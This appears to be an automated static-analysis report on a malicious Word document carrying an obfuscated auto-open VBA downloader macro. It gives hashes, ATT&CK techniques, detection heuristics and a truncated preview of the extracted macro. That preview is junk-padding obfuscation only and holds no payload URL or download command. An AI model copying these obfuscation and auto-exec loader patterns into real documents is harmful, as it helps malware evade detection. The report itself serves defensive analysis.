Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5af4fcfe23eb4ce9…

MALICIOUS

Office (OLE)

286.0 KB Created: 2019-10-11 20:31:00 Authoring application: Microsoft Office Word First seen: 2019-12-10
MD5: f7806f620bfc6493e8664241617bef43 SHA-1: f5f496a6ca2e121aaf4574d1f8e97d358f88887d SHA-256: 5af4fcfe23eb4ce9738f9f72bbde073fe7ebd4ecfbfcd6bbf61387c173af2e12
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing an obfuscated VBA macro. The macro uses a combination of obfuscation techniques and GetObject calls to likely download and execute a second-stage payload. The presence of legacy WordBasic markers and the ClamAV detection further support its malicious nature.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-7330806-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7330806-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 245149 bytes
SHA-256: 24b2af4adbe30993bea0109aaa53265d90a0b5cfc8799e0a568df5a3d7092367
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "c0508009859"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "x017c8008650, 0, 0, MSForms, TextBox"
Attribute VB_Control = "xc0cb030804, 1, 1, MSForms, TextBox"
Attribute VB_Control = "x56594x60cc00, 2, 2, MSForms, TextBox"
Attribute VB_Control = "b04891461447, 3, 3, MSForms, TextBox"
Attribute VB_Control = "c0ccc07c635, 4, 4, MSForms, TextBox"
Attribute VB_Control = "cc3862107788, 5, 5, MSForms, TextBox"

Attribute VB_Name = "x85b78020200x"
Function cc5xb892x500()
On Error Resume Next
   'Dynamic0535 Von Fork, Schusterside, Yemen Chief2235 Zulauf Rapids, New Paulland, Cambodia
c0x18c5400cx8 = Rnd(b863b900049 * ChrB(130)) + Log(777)
'Principal58004 Lynch Parkway, Jacobitown, Georgia Global6708 Cummings Place, Garnetview, Sudan
c17751x020078 = Rnd(c80b41c00b0c9 * ChrB(873)) + Log(730)
'Human9613 Jerde Hill, West Alexandrine, Maldives Internal012 Ferry Burg, Port Kaitlinborough, Tonga
c0b088c6759 = Rnd(c7056c03889 * ChrB(722)) + Log(161)
'Dynamic079 Chance Ways, Yostchester, Guinea-Bissau Human184 Rickie Parkways, Port Brigittebury, Slovakia (Slovak Republic)
x065b301xx50 = Rnd(cbc880xb236 * ChrB(13)) + Log(242)
'Forward04252 Terry Alley, North Ineston, Namibia Internal2919 Cremin Heights, North Pablofort, Turkey
c9c241b53xc4 = Rnd(c0726xxb25xx * ChrB(657)) + Log(504)
'Senior01634 Marianne Ports, Heaventown, Oman Global676 Douglas Causeway, Lake Garnet, Slovenia
x610590600b8 = Rnd(bxx115128b076 * ChrB(693)) + Log(859)
'Chief13813 Johnston Ports, Skilesmouth, Sri Lanka National452 Watsica Loop, Mosciskihaven, Kiribati
c13763001085 = Rnd(cc063814001 * ChrB(209)) + Log(350)
'Lead192 Gottlieb Extensions, Considinemouth, Suriname Product3739 Santina Islands, Alfredaview, Guadeloupe
'Central633 Schmitt Squares, South Marietta, New Caledonia Global01798 Mosciski Causeway, East Kaitlynchester, Nigeria
cc001bbb60x03 = Rnd(c3600100xx1 * ChrB(682)) + Log(395)
'Customer641 Steuber Road, Port Callie, United Arab Emirates National831 Moses Springs, Port Felixville, Romania
x454c5092x5 = Rnd(c23070bb853 * ChrB(288)) + Log(752)
'Future6707 Gibson Alley, Sauerfort, Ethiopia Customer47995 Trinity Forges, Steuberborough, Kazakhstan
b01000000b28 = Rnd(b562x78376c52 * ChrB(758)) + Log(826)
'Direct5577 Wolf Key, East Katlynnville, Azerbaijan National784 Runte Keys, Hahnmouth, Afghanistan
b0cc8006316 = Rnd(x1b10b57bc27 * ChrB(274)) + Log(701)
'International9930 Garland Highway, Thompsontown, Brunei Darussalam Central955 Santa Mount, Greenmouth, Australia
b893899ccb5 = Rnd(b01b6b22350 * ChrB(825)) + Log(579)
'Product58720 Ondricka Street, Fadelville, Barbados Principal35684 Rempel Garden, North Breanaview, Oman
b6700708707 = Rnd(c70b097b080b9 * ChrB(245)) + Log(878)
'Internal22052 Bins Gateway, Chasefort, Cambodia Dynamic687 Price Shore, Jacobsview, Tokelau
cxc085b17310 = Rnd(xb719294261b * ChrB(59)) + Log(261)
'Dynamic1094 Greenfelder Mountains, New Kielhaven, Nicaragua Dynamic7725 Ricardo Shoals, Volkmanberg, Zimbabwe
   'Central204 Jacobi Wall, New Lulu, Bhutan International967 Cassin Trail, North Linda, Cambodia
c76c10b0xx4 = Rnd(b350b63430007 * ChrB(977)) + Log(922)
'District80473 Joyce Plains, Danielhaven, India Direct08476 Deckow Port, West Geovannimouth, French Polynesia
c0406x0x21c6 = Rnd(x80291bc205 * ChrB(689)) + Log(941)
'Investor29070 Cole Turnpike, North Jocelynshire, Uruguay Principal4432 Destinee Isle, Krishaven, Mongolia
b0938972b8819 = Rnd(x800bccc0700 * ChrB(296)) + Log(706)
'Investor932 Mohammed Ramp, West Darianfurt, Israel Customer078 Roberts Rest, Alvaberg, Saint Pierre and Miquelon
c53635c60609 = Rnd(x3b09007050 * ChrB(177)) + Log(524)
'Legacy413 Pierre Burgs, Kennedymouth, French Polynesia Lead70944 Sim Burg, Rippinville, Malta
c0999104c28 = Rnd(x904c410b5601 * ChrB(741)) + Log(37)
'Internal10304 Jesse Union, Eas
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.